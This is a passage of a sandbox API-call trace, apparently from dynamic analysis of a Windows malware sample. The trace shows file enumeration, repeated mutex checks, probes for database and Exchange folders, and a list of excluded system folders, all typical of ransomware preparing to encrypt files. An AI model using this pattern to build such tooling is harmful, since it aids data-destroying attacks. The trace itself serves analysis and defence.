lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.093] CharLowerBuffW (in: lpsz=".msu", cchLength=0x4 | out: lpsz=".msu") returned 0x4 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msu", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msu8-v6001-x86.msu", lpUsedDefaultChar=0x0) returned 4 [0270.093] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 0 [0270.093] GetLastError () returned 0x12 [0270.093] FindClose (in: hFindFile=0x6da110 | out: hFindFile=0x6da110) returned 1 [0270.094] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0270.094] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0270.094] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.094] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0270.094] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.094] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0270.094] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.094] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.094] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.094] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*.*", lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 0x6da110 [0270.094] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb7c | out: lpLocalFileTime=0x19eb7c) returned 1 [0270.094] FileTimeToDosDateTime (in: lpFileTime=0x19eb7c, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.095] GlobalLock (hMem=0x3f40004) returned 0x3ae1df8 [0270.095] GlobalHandle (pMem=0x3ae1df8) returned 0x3f40004 [0270.095] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.095] GlobalLock (hMem=0x3f40004) returned 0x3ae1df8 [0270.095] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.095] GlobalHandle (pMem=0x3ae1df8) returned 0x3f40004 [0270.095] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.095] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.095] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.095] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.095] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.095] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.095] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.095] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.095] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.095] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.095] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.096] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.096] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.096] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.096] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.096] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.096] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.096] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.096] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.096] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.096] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.096] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.096] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.096] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.096] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.096] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.096] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.096] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.096] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.097] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.097] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.097] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.097] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.097] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.097] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.097] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.097] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.097] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.097] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.097] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.097] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.097] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.097] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.097] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.097] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.097] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.098] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.098] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.098] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.098] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.098] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.098] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.098] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.098] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1025", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1025") returned 1 [0270.098] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.098] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.098] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.098] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.098] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.098] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.098] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.098] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.098] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.099] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.107] GetLastError () returned 0x3 [0270.107] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0270.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.108] GetLastError () returned 0x2 [0270.108] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0270.108] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.108] GetLastError () returned 0x2 [0270.108] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0270.108] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.108] GetLastError () returned 0x2 [0270.108] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0270.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.109] GetLastError () returned 0x2 [0270.109] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0270.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.109] GetLastError () returned 0x2 [0270.109] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0270.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.110] GetLastError () returned 0x2 [0270.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0270.110] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.110] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.110] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.110] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.110] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.110] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.110] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.110] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.110] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.110] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0270.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0270.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.111] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0270.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0270.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.111] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0270.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0270.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.111] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0270.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39330, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0270.111] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.111] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.111] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.111] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.111] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.111] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.111] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.111] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.111] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0270.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0270.113] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0270.113] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0270.113] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1025\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1025\\") returned 0x1b [0270.113] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0270.113] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0270.113] SHGetPathFromIDListW (in: pidl=0x6e4708, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0270.113] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0270.113] IMalloc:Free (This=0x75e4d000, pv=0x6e4708) [0270.113] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0270.113] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0270.113] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.114] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.114] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.114] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.114] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.114] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.114] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.114] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.114] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.114] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0270.114] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.114] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.114] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0270.114] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.114] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.114] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.114] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.115] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.115] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.115] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.115] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.115] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.115] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.115] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.115] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", 